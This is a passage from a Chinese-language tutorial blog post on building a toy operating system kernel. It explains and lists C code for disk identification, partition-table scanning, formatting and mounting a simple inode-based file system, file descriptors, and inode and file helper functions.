uint32_t start_lba; // 本分区起始扇区的lba地址
uint32_t sec_cnt; // 本分区的扇区数目
} __attribute__ ((packed)); // 保证此结构是16字节大小

/* 引导扇区,mbr或ebr所在的扇区 */
struct boot_sector {
uint8_t other[446]; // 引导代码
struct partition_table_entry partition_table[4]; // 分区表中有4项,共64字节
uint16_t signature; // 启动扇区的结束标志是0x55,0xaa,
} __attribute__ ((packed));

下面是获取硬盘参数的具体实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/* 将dst中len个相邻字节交换位置后存入buf */
static void swap_pairs_bytes(const char* dst, char* buf, uint32_t len) {
uint8_t idx;
for (idx = 0; idx < len; idx += 2) {
/* buf中存储dst中两相邻元素交换位置后的字符串*/
buf[idx + 1] = *dst++;
buf[idx] = *dst++;
}
buf[idx] = '\0';
}

/* 获得硬盘参数信息 */
static void identify_disk(struct disk* hd) {
char id_info[512];
select_disk(hd);
cmd_out(hd->my_channel, CMD_IDENTIFY);
/* 向硬盘发送指令后便通过信号量阻塞自己,
* 待硬盘处理完成后,通过中断处理程序将自己唤醒 */
sema_down(&hd->my_channel->disk_done);

/* 醒来后开始执行下面代码*/
if (!busy_wait(hd)) { // 若失败
char error[64];
sprintf(error, "%s identify failed!!!!!!\n", hd->name);
PANIC(error);
}
read_from_sector(hd, id_info, 1);

char buf[64];
uint8_t sn_start = 10 * 2, sn_len = 20, md_start = 27 * 2, md_len = 40;
swap_pairs_bytes(&id_info[sn_start], buf, sn_len);
printk(" disk %s info:\n SN: %s\n", hd->name, buf);
memset(buf, 0, sizeof(buf));
swap_pairs_bytes(&id_info[md_start], buf, md_len);
printk(" MODULE: %s\n", buf);
uint32_t sectors = *(uint32_t*)&id_info[60 * 2];
printk(" SECTORS: %d\n", sectors);
printk(" CAPACITY: %dMB\n", sectors * 512 / 1024 / 1024);
}

下面是扫描分区表的具体实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/* 扫描硬盘hd中地址为ext_lba的扇区中的所有分区 */
static void partition_scan(struct disk* hd, uint32_t ext_lba) {
struct boot_sector* bs = sys_malloc(sizeof(struct boot_sector)); // 动态申请内存存放,避免栈溢出
ide_read(hd, ext_lba, bs, 1);
uint8_t part_idx = 0;
struct partition_table_entry* p = bs->partition_table;

/* 遍历分区表4个分区表项 */
while (part_idx++ < 4) {
if (p->fs_type == 0x5) { // 若为扩展分区
if (ext_lba_base != 0) {
/* 子扩展分区的start_lba是相对于主引导扇区中的总扩展分区地址 */
partition_scan(hd, p->start_lba + ext_lba_base);
} else { // ext_lba_base为0表示是第一次读取引导块,也就是主引导记录所在的扇区
/* 记录下扩展分区的起始lba地址,后面所有的扩展分区地址都相对于此 */
ext_lba_base = p->start_lba;
partition_scan(hd, p->start_lba);
}
} else if (p->fs_type != 0) { // 若是有效的分区类型
if (ext_lba == 0) { // 此时全是主分区
hd->prim_parts[p_no].start_lba = ext_lba + p->start_lba;
hd->prim_parts[p_no].sec_cnt = p->sec_cnt;
hd->prim_parts[p_no].my_disk = hd;
list_append(&partition_list, &hd->prim_parts[p_no].part_tag);
sprintf(hd->prim_parts[p_no].name, "%s%d", hd->name, p_no + 1);
p_no++;
ASSERT(p_no < 4); // 0,1,2,3
} else {
hd->logic_parts[l_no].start_lba = ext_lba + p->start_lba;
hd->logic_parts[l_no].sec_cnt = p->sec_cnt;
hd->logic_parts[l_no].my_disk = hd;
list_append(&partition_list, &hd->logic_parts[l_no].part_tag);
sprintf(hd->logic_parts[l_no].name, "%s%d", hd->name, l_no + 5); // 逻辑分区数字是从5开始,主分区是1~4.
l_no++;
if (l_no >= 8) // 只支持8个逻辑分区,避免数组越界
return;
}
}
p++;
}
sys_free(bs);
}

/* 打印分区信息 */
static bool partition_info(struct list_elem* pelem, int arg UNUSED) {
struct partition* part = elem2entry(struct partition, part_tag, pelem);
printk(" %s start_lba:0x%x, sec_cnt:0x%x\n",part->name, part->start_lba, part->sec_cnt);

/* 在此处return false与函数本身功能无关,
* 只是为了让主调函数list_traversal继续向下遍历元素 */
return false;
}

测试结果如下所示

86

文件系统

基本概念

扇区:硬盘是低速设备,其读写单位是扇区。

块:Windows系统中称为簇,一个块由多个扇区组成,磁盘在进行读写数据的时候,不可能有一扇区的数据就读或写一次,而是等数据累计到一定量后,在统一进行读写,而这个数据量就叫块。

块是文件系统的读写单位,故文件起码得有一个块大小,若大于一个块,就需要我们用不同的文件系统对其进行管理,其中FAT采用的就是链式文件系统,如下所示,其弊端是每次寻找块的时候需要从头开始遍历,效率很低,这也是早期Windows采用的管理方法

image-20200612181835991

索引式文件系统是进入UNIX时代的产物,它为文件的所有块建立一个索引表,索引表就是块地址数组,每个数组元素就是块的地址,第n个数组元素指向文件中的第n个块,这样访问任意一个块的时候,只需要从索引表中获得块地址就可以了。而且文件中的块依然可以分散到不连续的零散空间中,索引表的索引结构称为inode,一个文件对应一个inode

image-20200612181835991

和页表机制类似,索引表本身占用内存,当其很大的时候就有一级间接索引表、二级间接索引表、三级间接索引表,结构如下

image-20200612181835991

接下来说说目录和目录项,目录本身也是通过inode表示,区分目录和文件的方法是通过查看inode中数据块,普通文件的inode的数据块是指向普通文件自己的数据的,目录的inode的数据块是指向位于该目录下的目录项的。在目录项中会记录该文件的类型,是属于普通文件,还是属于一个目录。目录项结构图如下,索引文件数据的步骤:

  1. 首先通过文件名找到位于该目录项中对应的inode编号
  2. 然后通过通过这个inode编号在inode数组中找到该文件对应的inode
  3. 最后通过这个文件对应的inode找到该文件对应的数据。

image-20200612181835991

用于管理inode结构和记录的数据结构叫做超级块,超级块的位置和大小是固定的,它被固定存储在各个分区的第2个扇区中,通常占用1扇区的大小,可以类比PCB结构,结构图如下所示

image-20200612181835991

创建文件系统

接下来开始一步一步实现,文件系统部分的函数很多,不建议纠结一个函数的作用,要从整体上思考其作用何在,接下来我们开始创建上述的一些数据结构,下面是超级块结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* 超级块 */
struct super_block
{
uint32_t magic; // 用来标识文件系统类型,支持多文件系统的操作系统通过此标志来识别文件系统类型
uint32_t sec_cnt; // 本分区总共的扇区数
uint32_t inode_cnt; // 本分区中inode数量
uint32_t part_lba_base; // 本分区的起始lba地址

uint32_t block_bitmap_lba; // 块位图本身起始扇区地址
uint32_t block_bitmap_sects; // 扇区位图本身占用的扇区数量

uint32_t inode_bitmap_lba; // inode位图起始扇区lba地址
uint32_t inode_bitmap_sects; // inode位图占用的扇区数量

uint32_t inode_table_lba; // inode表起始扇区lba地址
uint32_t inode_table_sects; // inode表占用的扇区数量

uint32_t data_start_lba; // 数据区开始的第一个扇区号
uint32_t root_inode_no; // 根目录所在的I结点号
uint32_t dir_entry_size; // 目录项大小

uint8_t pad[460]; // 加上460字节,凑够512字节1扇区大小
} __attribute__((packed));

inode结构

1
2
3
4
5
6
7
8
9
10
struct inode
{
uint32_t i_no; // inode编号
uint32_t i_size; // 此inode为文件时,表示文件的大小。为目录时,表示该目录下所有目录项大小之和
uint32_t i_open_cnts; // 文件被打开的次数
bool write_deny; // 写文件的标识,防止多个进行同时对一个文件写

uint32_t i_sectors[13]; // 一个文件只支持13个块,12个直接块,1个间接块。在这个文件系统中,块的大小直接等于1扇区
struct list_elem inode_tag;
};

目录和目录项的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
enum file_types 
{
FT_UNKNOWN,
FT_REGULAR,
FT_DIRECTORY
};

/* 目录结构 */
struct dir {
struct inode* inode;
uint32_t dir_pos; // 记录在目录内的偏移
uint8_t dir_buf[512]; // 目录的数据缓存
};

/* 目录项结构 */
struct dir_entry {
char filename[MAX_FILE_NAME_LEN]; // 普通文件或目录名称
uint32_t i_no; // 普通文件或目录对应的inode编号
enum file_types f_type; // 文件类型
};

创建文件系统有以下几步:

  1. 根据分区大小,计算分区文件系统各元信息需要的扇区数及位置
  2. 在内存中创建超级块,将上面的元信息写入超级块
  3. 将超级块写入磁盘
  4. 将元信息写入磁盘上各自的位置
  5. 将根目录写入磁盘
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
/* 格式化分区,也就是初始化分区的元信息,创建文件系统 */
static void partition_format(struct partition* part) {
/* 为方便实现,一个块大小是一扇区 */
uint32_t boot_sector_sects = 1;
uint32_t super_block_sects = 1;
uint32_t inode_bitmap_sects = DIV_ROUND_UP(MAX_FILES_PER_PART, BITS_PER_SECTOR); // I结点位图占用的扇区数.最多支持4096个文件
uint32_t inode_table_sects = DIV_ROUND_UP(((sizeof(struct inode) * MAX_FILES_PER_PART)), SECTOR_SIZE);
uint32_t used_sects = boot_sector_sects + super_block_sects + inode_bitmap_sects + inode_table_sects;
uint32_t free_sects = part->sec_cnt - used_sects;

/************** 简单处理块位图占据的扇区数 ***************/
uint32_t block_bitmap_sects;
block_bitmap_sects = DIV_ROUND_UP(free_sects, BITS_PER_SECTOR);
/* block_bitmap_bit_len是位图中位的长度,也是可用块的数量 */
uint32_t block_bitmap_bit_len = free_sects - block_bitmap_sects;
block_bitmap_sects = DIV_ROUND_UP(block_bitmap_bit_len, BITS_PER_SECTOR);
/*********************************************************/

/* 超级块初始化 */
struct super_block sb;
sb.magic = 0x19590318;
sb.sec_cnt = part->sec_cnt;
sb.inode_cnt = MAX_FILES_PER_PART;
sb.part_lba_base = part->start_lba;

sb.block_bitmap_lba = sb.part_lba_base + 2; // 第0块是引导块,第1块是超级块
sb.block_bitmap_sects = block_bitmap_sects;

sb.inode_bitmap_lba = sb.block_bitmap_lba + sb.block_bitmap_sects;
sb.inode_bitmap_sects = inode_bitmap_sects;

sb.inode_table_lba = sb.inode_bitmap_lba + sb.inode_bitmap_sects;
sb.inode_table_sects = inode_table_sects;

sb.data_start_lba = sb.inode_table_lba + sb.inode_table_sects;
sb.root_inode_no = 0;
sb.dir_entry_size = sizeof(struct dir_entry);

printk("%s info:\n", part->name);
printk(" magic:0x%x\n part_lba_base:0x%x\n all_sectors:0x%x\n inode_cnt:0x%x\n block_bitmap_lba:0x%x\n block_bitmap_sectors:0x%x\n inode_bitmap_lba:0x%x\n inode_bitmap_sectors:0x%x\n inode_table_lba:0x%x\n inode_table_sectors:0x%x\n data_start_lba:0x%x\n", sb.magic, sb.part_lba_base, sb.sec_cnt, sb.inode_cnt, sb.block_bitmap_lba, sb.block_bitmap_sects, sb.inode_bitmap_lba, sb.inode_bitmap_sects, sb.inode_table_lba, sb.inode_table_sects, sb.data_start_lba);

struct disk* hd = part->my_disk;
/*******************************
* 1 将超级块写入本分区的1扇区 *
******************************/
ide_write(hd, part->start_lba + 1, &sb, 1);
printk(" super_block_lba:0x%x\n", part->start_lba + 1);

/* 找出数据量最大的元信息,用其尺寸做存储缓冲区*/
uint32_t buf_size = (sb.block_bitmap_sects >= sb.inode_bitmap_sects ? sb.block_bitmap_sects : sb.inode_bitmap_sects);
buf_size = (buf_size >= sb.inode_table_sects ? buf_size : sb.inode_table_sects) * SECTOR_SIZE;
uint8_t* buf = (uint8_t*)sys_malloc(buf_size);// 申请的内存由内存管理系统清0后返回

/**************************************
* 2 将块位图初始化并写入sb.block_bitmap_lba *
*************************************/
/* 初始化块位图block_bitmap */
buf[0] |= 0x01; // 第0个块预留给根目录,位图中先占位
uint32_t block_bitmap_last_byte = block_bitmap_bit_len / 8;
uint8_t block_bitmap_last_bit = block_bitmap_bit_len % 8;
uint32_t last_size = SECTOR_SIZE - (block_bitmap_last_byte % SECTOR_SIZE); // last_size是位图所在最后一个扇区中,不足一扇区的其余部分

/* 1 先将位图最后一字节到其所在的扇区的结束全置为1,即超出实际块数的部分直接置为已占用*/
memset(&buf[block_bitmap_last_byte], 0xff, last_size);

/* 2 再将上一步中覆盖的最后一字节内的有效位重新置0 */
uint8_t bit_idx = 0;
while (bit_idx <= block_bitmap_last_bit) {
buf[block_bitmap_last_byte] &= ~(1 << bit_idx++);
}
ide_write(hd, sb.block_bitmap_lba, buf, sb.block_bitmap_sects);

/***************************************
* 3 将inode位图初始化并写入sb.inode_bitmap_lba *
***************************************/
/* 先清空缓冲区*/
memset(buf, 0, buf_size);
buf[0] |= 0x1; // 第0个inode分给了根目录
/* 由于inode_table中共4096个inode,位图inode_bitmap正好占用1扇区,
* 即inode_bitmap_sects等于1, 所以位图中的位全都代表inode_table中的inode,
* 无须再像block_bitmap那样单独处理最后一扇区的剩余部分,
* inode_bitmap所在的扇区中没有多余的无效位 */
ide_write(hd, sb.inode_bitmap_lba, buf, sb.inode_bitmap_sects);

/***************************************
* 4 将inode数组初始化并写入sb.inode_table_lba *
***************************************/
/* 准备写inode_table中的第0项,即根目录所在的inode */
memset(buf, 0, buf_size); // 先清空缓冲区buf
struct inode* i = (struct inode*)buf;
i->i_size = sb.dir_entry_size * 2; // .和..
i->i_no = 0; // 根目录占inode数组中第0个inode
i->i_sectors[0] = sb.data_start_lba; // 由于上面的memset,i_sectors数组的其它元素都初始化为0
ide_write(hd, sb.inode_table_lba, buf, sb.inode_table_sects);

/***************************************
* 5 将根目录初始化并写入sb.data_start_lba
***************************************/
/* 写入根目录的两个目录项.和.. */
memset(buf, 0, buf_size);
struct dir_entry* p_de = (struct dir_entry*)buf;

/* 初始化当前目录"." */
memcpy(p_de->filename, ".", 1);
p_de->i_no = 0;
p_de->f_type = FT_DIRECTORY;
p_de++;

/* 初始化当前目录父目录".." */
memcpy(p_de->filename, "..", 2);
p_de->i_no = 0; // 根目录的父目录依然是根目录自己
p_de->f_type = FT_DIRECTORY;

/* sb.data_start_lba已经分配给了根目录,里面是根目录的目录项 */
ide_write(hd, sb.data_start_lba, buf, 1);

printk(" root_dir_lba:0x%x\n", sb.data_start_lba);
printk("%s format done\n", part->name);
sys_free(buf);
}

创建之后的示意图如下

image-20200612181835991

接下来就是调用上面代码的初始化函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/* 在磁盘上搜索文件系统,若没有则格式化分区创建文件系统 */
void filesys_init() {
uint8_t channel_no = 0, dev_no, part_idx = 0;

/* sb_buf用来存储从硬盘上读入的超级块 */
struct super_block* sb_buf = (struct super_block*)sys_malloc(SECTOR_SIZE);

if (sb_buf == NULL) {
PANIC("alloc memory failed!");
}
printk("searching filesystem......\n");
while (channel_no < channel_cnt) { // 遍历通道
dev_no = 0;
while(dev_no < 2) { // 遍历通道中的硬盘
if (dev_no == 0) { // 跨过裸盘hd60M.img
dev_no++;
continue;
}
struct disk* hd = &channels[channel_no].devices[dev_no];
struct partition* part = hd->prim_parts;
while(part_idx < 12) { // 遍历分区,4个主分区+8个逻辑
if (part_idx == 4) { // 开始处理逻辑分区
part = hd->logic_parts;
}

/* channels数组是全局变量,默认值为0,disk属于其嵌套结构,
* partition又为disk的嵌套结构,因此partition中的成员默认也为0.
* 若partition未初始化,则partition中的成员仍为0.
* 下面处理存在的分区. */
if (part->sec_cnt != 0) { // 如果分区存在
memset(sb_buf, 0, SECTOR_SIZE);

/* 读出分区的超级块,根据魔数是否正确来判断是否存在文件系统 */
ide_read(hd, part->start_lba + 1, sb_buf, 1);

/* 只支持自己的文件系统.若磁盘上已经有文件系统就不再格式化了 */
if (sb_buf->magic == 0x19590318) {
printk("%s has filesystem\n", part->name);
} else { // 其它文件系统不支持,一律按无文件系统处理
printk("formatting %s`s partition %s......\n", hd->name, part->name);
partition_format(part);
}
}
part_idx++;
part++;// 下一分区
}
dev_no++;// 下一磁盘
}
channel_no++;// 下一通道
}
sys_free(sb_buf);
}

我们需要运行两次,第一次负责创建,第二次运行显示创建完毕

image-20200612181835991

挂载分区

为了操作任意一个分区,实现对分区的”拿”和”收”,我们需要完成挂载分区,其实质是把该分区的文件系统的元信息从硬盘上读出来加载到内存中,这样硬盘资源的变化都用内存中元信息来跟踪

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
struct partition* cur_part; // 默认情况下操作的是哪个分区

/* 在分区链表中找到名为part_name的分区,并将其指针赋值给cur_part */
static bool mount_partition(struct list_elem* pelem, int arg) {
char* part_name = (char*)arg;
struct partition* part = elem2entry(struct partition, part_tag, pelem);
if (!strcmp(part->name, part_name)) {
cur_part = part;
struct disk* hd = cur_part->my_disk;

/* sb_buf用来存储从硬盘上读入的超级块 */
struct super_block* sb_buf = (struct super_block*)sys_malloc(SECTOR_SIZE);

/* 在内存中创建分区cur_part的超级块 */
cur_part->sb = (struct super_block*)sys_malloc(sizeof(struct super_block));
if (cur_part->sb == NULL) {
PANIC("alloc memory failed!");
}

/* 读入超级块 */
memset(sb_buf, 0, SECTOR_SIZE);
ide_read(hd, cur_part->start_lba + 1, sb_buf, 1);

/* 把sb_buf中超级块的信息复制到分区的超级块sb中。*/
memcpy(cur_part->sb, sb_buf, sizeof(struct super_block));

/********** 将硬盘上的块位图读入到内存 ****************/
cur_part->block_bitmap.bits = (uint8_t*)sys_malloc(sb_buf->block_bitmap_sects * SECTOR_SIZE);
if (cur_part->block_bitmap.bits == NULL) {
PANIC("alloc memory failed!");
}
cur_part->block_bitmap.btmp_bytes_len = sb_buf->block_bitmap_sects * SECTOR_SIZE;
/* 从硬盘上读入块位图到分区的block_bitmap.bits */
ide_read(hd, sb_buf->block_bitmap_lba, cur_part->block_bitmap.bits, sb_buf->block_bitmap_sects);
/*************************************************************/

/********** 将硬盘上的inode位图读入到内存 ************/
cur_part->inode_bitmap.bits = (uint8_t*)sys_malloc(sb_buf->inode_bitmap_sects * SECTOR_SIZE);
if (cur_part->inode_bitmap.bits == NULL) {
PANIC("alloc memory failed!");
}
cur_part->inode_bitmap.btmp_bytes_len = sb_buf->inode_bitmap_sects * SECTOR_SIZE;
/* 从硬盘上读入inode位图到分区的inode_bitmap.bits */
ide_read(hd, sb_buf->inode_bitmap_lba, cur_part->inode_bitmap.bits, sb_buf->inode_bitmap_sects);
/*************************************************************/

list_init(&cur_part->open_inodes);
printk("mount %s done!\n", part->name);

/* 此处返回true是为了迎合主调函数list_traversal的实现,与函数本身功能无关。
只有返回true时list_traversal才会停止遍历,减少了后面元素无意义的遍历.*/
return true;
}
return false; // 使list_traversal继续遍历
}

文件描述符

文件描述符是用户能够交互的对象,它与inode不同的是inode是操作系统为自己的文件系统准备的数据结构,仅供其内部使用,用户难以接触到。用户进程可以多次打开同一个文件,一个文件也可也被多个进程同时打开,每次打开文件的时候,我们就需要记录当时文件的状态,比如当时读取的位置,也叫文件偏移量、文件打开的标志信息,inode指针等,基本结构如下图所示

image-20200612181835991

熟悉Linux编程的朋友肯定知道open函数,其成功调用返回值就是文件描述符,通常情况下是一个int类型的数值0~2,它实际上作为进程pcb中文件描述符数组的下标索引,其指向一个文件结构,在结构中才能获取到文件信息,pcb不直接指向描述符的原因是每次打开文件的时候就需要记录一次,如果这样的话pcb就会变得很大而损失效率,所以采取索引的方式记录,关系图如下所示

image-20200612181835991

下面是具体定义,增加描述符数组在thread文件的task_struct结构中

1
2
3
4
5
6
7
#define MAX_FILES_OPEN_PER_PROC 8
/* 进程或线程的pcb,程序控制块 */
struct task_struct {
[...]
int32_t fd_table[MAX_FILES_OPEN_PER_PROC];// 文件描述符数组
[...]
}

文件描述符的初始化如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* 初始化线程基本信息 */
void init_thread(struct task_struct* pthread, char* name, int prio) {
[...]
/* 预留标准输入输出 */
pthread->fd_table[0] = 0;
pthread->fd_table[1] = 1;
pthread->fd_table[2] = 2;
/* 其余的全置为-1 */
uint8_t fd_idx = 3;
while (fd_idx < MAX_FILES_OPEN_PER_PROC) {
pthread->fd_table[fd_idx] = -1;
fd_idx++;
}

pthread->stack_magic = 0x19870916; // 自定义的魔数
}

inode相关函数

要想操作文件使其创建、打开、读写,首先得准备一些对inode相关操作的函数,存储inode信息的结构如下

1
2
3
4
5
6
/* 用来存储inode位置 */
struct inode_position {
bool two_sec;// inode是否跨扇区
uint32_t sec_lba;// inode所在的扇区号
uint32_t off_size;// inode在扇区内的字节偏移量
}

下面是获取inode所在扇区和扇区内的偏移函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/* 获取inode所在的扇区和扇区内的偏移量 */
static void inode_locate(struct partition* part, uint32_t inode_no, struct inode_position* inode_pos) {
/* inode_table在硬盘上是连续的 */
ASSERT(inode_no < 4096);
uint32_t inode_table_lba = part->sb->inode_table_lba;

uint32_t inode_size = sizeof(struct inode);
uint32_t off_size = inode_no * inode_size; // 第inode_no号I结点相对于inode_table_lba的字节偏移量
uint32_t off_sec = off_size / 512; // 第inode_no号I结点相对于inode_table_lba的扇区偏移量
uint32_t off_size_in_sec = off_size % 512; // 待查找的inode所在扇区中的起始地址

/* 判断此i结点是否跨越2个扇区 */
uint32_t left_in_sec = 512 - off_size_in_sec;
if (left_in_sec < inode_size ) { // 若扇区内剩下的空间不足以容纳一个inode,必然是I结点跨越了2个扇区
inode_pos->two_sec = true;
} else { // 否则,所查找的inode未跨扇区
inode_pos->two_sec = false;
}
inode_pos->sec_lba = inode_table_lba + off_sec;
inode_pos->off_size = off_size_in_sec;
}

将inode写入到分区part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/* 将inode写入到分区part */
void inode_sync(struct partition* part, struct inode* inode, void* io_buf) { // io_buf是用于硬盘io的缓冲区
uint8_t inode_no = inode->i_no;
struct inode_position inode_pos;
inode_locate(part, inode_no, &inode_pos); // inode位置信息会存入inode_pos
ASSERT(inode_pos.sec_lba <= (part->start_lba + part->sec_cnt));

/* 硬盘中的inode中的成员inode_tag和i_open_cnts是不需要的,
* 它们只在内存中记录链表位置和被多少进程共享 */
struct inode pure_inode;
memcpy(&pure_inode, inode, sizeof(struct inode));

/* 以下inode的三个成员只存在于内存中,现在将inode同步到硬盘,清掉这三项即可 */
pure_inode.i_open_cnts = 0;
pure_inode.write_deny = false; // 置为false,以保证在硬盘中读出时为可写
pure_inode.inode_tag.prev = pure_inode.inode_tag.next = NULL;

char* inode_buf = (char*)io_buf;
if (inode_pos.two_sec) { // 若是跨了两个扇区,就要读出两个扇区再写入两个扇区
/* 读写硬盘是以扇区为单位,若写入的数据小于一扇区,要将原硬盘上的内容先读出来再和新数据拼成一扇区后再写入 */
ide_read(part->my_disk, inode_pos.sec_lba, inode_buf, 2);// inode在format中写入硬盘时是连续写入的,所以读入2块扇区

/* 开始将待写入的inode拼入到这2个扇区中的相应位置 */
memcpy((inode_buf + inode_pos.off_size), &pure_inode, sizeof(struct inode));

/* 将拼接好的数据再写入磁盘 */
ide_write(part->my_disk, inode_pos.sec_lba, inode_buf, 2);
} else { // 若只是一个扇区
ide_read(part->my_disk, inode_pos.sec_lba, inode_buf, 1);
memcpy((inode_buf + inode_pos.off_size), &pure_inode, sizeof(struct inode));
ide_write(part->my_disk, inode_pos.sec_lba, inode_buf, 1);
}
}

打开和关闭节点的操作函数,其中part->open_inodes的存在是为了提高效率,减少直接访问磁盘的频率

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
/* 根据i结点号返回相应的i结点 */
struct inode* inode_open(struct partition* part, uint32_t inode_no) {
/* 先在已打开inode链表中找inode,此链表是为提速创建的缓冲区 */
struct list_elem* elem = part->open_inodes.head.next;
struct inode* inode_found;
while (elem != &part->open_inodes.tail) {
inode_found = elem2entry(struct inode, inode_tag, elem);
if (inode_found->i_no == inode_no) {
inode_found->i_open_cnts++;
return inode_found;
}
elem = elem->next;
}

/*由于open_inodes链表中找不到,下面从硬盘上读入此inode并加入到此链表 */
struct inode_position inode_pos;

/* inode位置信息会存入inode_pos, 包括inode所在扇区地址和扇区内的字节偏移量 */
inode_locate(part, inode_no, &inode_pos);

/* 为使通过sys_malloc创建的新inode被所有任务共享,
* 需要将inode置于内核空间,故需要临时
* 将cur_pbc->pgdir置为NULL */
struct task_struct* cur = running_thread();
uint32_t* cur_pagedir_bak = cur->pgdir;
cur->pgdir = NULL;
/* 以上三行代码完成后下面分配的内存将位于内核区 */
inode_found = (struct inode*)sys_malloc(sizeof(struct inode));
/* 恢复pgdir */
cur->pgdir = cur_pagedir_bak;

char* inode_buf;
if (inode_pos.two_sec) {// 考虑跨扇区的情况
inode_buf = (char*)sys_malloc(1024);

/* i结点表是被partition_format函数连续写入扇区的,
* 所以下面可以连续读出来 */
ide_read(part->my_disk, inode_pos.sec_lba, inode_buf, 2);
} else {// 否则,所查找的inode未跨扇区,一个扇区大小的缓冲区足够
inode_buf = (char*)sys_malloc(512);
ide_read(part->my_disk, inode_pos.sec_lba, inode_buf, 1);
}
memcpy(inode_found, inode_buf + inode_pos.off_size, sizeof(struct inode));

/* 因为一会很可能要用到此inode,故将其插入到队首便于提前检索到 */
list_push(&part->open_inodes, &inode_found->inode_tag);
inode_found->i_open_cnts = 1;

sys_free(inode_buf);
return inode_found;
}

/* 关闭inode或减少inode的打开数 */
void inode_close(struct inode* inode) {
/* 若没有进程再打开此文件,将此inode去掉并释放空间 */
enum intr_status old_status = intr_disable();
if (--inode->i_open_cnts == 0) {
list_remove(&inode->inode_tag); // 将I结点从part->open_inodes中去掉
/* inode_open时为实现inode被所有进程共享,
* 已经在sys_malloc为inode分配了内核空间,
* 释放inode时也要确保释放的是内核内存池 */
struct task_struct* cur = running_thread();
uint32_t* cur_pagedir_bak = cur->pgdir;
cur->pgdir = NULL;
sys_free(inode);
cur->pgdir = cur_pagedir_bak;
}
intr_set_status(old_status);
}

初始化inode函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* 初始化new_inode */
void inode_init(uint32_t inode_no, struct inode* new_inode) {
new_inode->i_no = inode_no;
new_inode->i_size = 0;
new_inode->i_open_cnts = 0;
new_inode->write_deny = false;

/* 初始化块索引数组i_sector */
uint8_t sec_idx = 0;
while (sec_idx < 13) {
/* i_sectors[12]为一级间接块地址 */
new_inode->i_sectors[sec_idx] = 0;
sec_idx++;
}
}

文件相关函数

文件的一些基本结构定义如下,在fs目录下的file文件中实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/* 文件结构 */
struct file {
uint32_t fd_pos; // 记录当前文件操作的偏移地址,以0为起始,最大为文件大小-1
uint32_t fd_flag;
struct inode* fd_inode;
};

/* 标准输入输出描述符 */
enum std_fd {
stdin_no, // 0 标准输入
stdout_no, // 1 标准输出
stderr_no // 2 标准错误
};

/* 位图类型 */
enum bitmap_type {
INODE_BITMAP, // inode位图
BLOCK_BITMAP // 块位图
};

下面是一些文件操作函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/* 文件表 */
struct file file_table[MAX_FILE_OPEN];

/* 从文件表file_table中获取一个空闲位,成功返回下标,失败返回-1 */
int32_t get_free_slot_in_global(void) {
uint32_t fd_idx = 3;
while (fd_idx < MAX_FILE_OPEN) {
if (file_table[fd_idx].fd_inode == NULL) {
break;
}
fd_idx++;
}
if (fd_idx == MAX_FILE_OPEN) {
printk("exceed max open files\n");
return -1;
}
return fd_idx;
}

/* 将全局描述符下标安装到进程或线程自己的文件描述符数组fd_table中,
* 成功返回下标,失败返回-1 */
int32_t pcb_fd_install(int32_t globa_fd_idx) {
struct task_struct* cur = running_thread();
uint8_t local_fd_idx = 3; // 跨过stdin,stdout,stderr
while (local_fd_idx < MAX_FILES_OPEN_PER_PROC) {
if (cur->fd_table[local_fd_idx] == -1) {// -1表示free_slot,可用
cur->fd_table[local_fd_idx] = globa_fd_idx;
break;
}
local_fd_idx++;
}
if (local_fd_idx == MAX_FILES_OPEN_PER_PROC) {
printk("exceed max open files_per_proc\n");
return -1;
}
return local_fd_idx;
}

/* 分配一个i结点,返回i结点号 */
int32_t inode_bitmap_alloc(struct partition* part) {
int32_t bit_idx = bitmap_scan(&part->inode_bitmap, 1);
if (bit_idx == -1) {
return -1;
}
bitmap_set(&part->inode_bitmap, bit_idx, 1);
return bit_idx;
}

目录相关函数

下面是一些目录操作的基本函数,下面几个函数功能主要是打开和索引

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
struct dir root_dir;             // 根目录

/* 打开根目录 */
void open_root_dir(struct partition* part) {
root_dir.inode = inode_open(part, part->sb->root_inode_no);
root_dir.dir_pos = 0;
}

/* 在分区part上打开i结点为inode_no的目录并返回目录指针 */
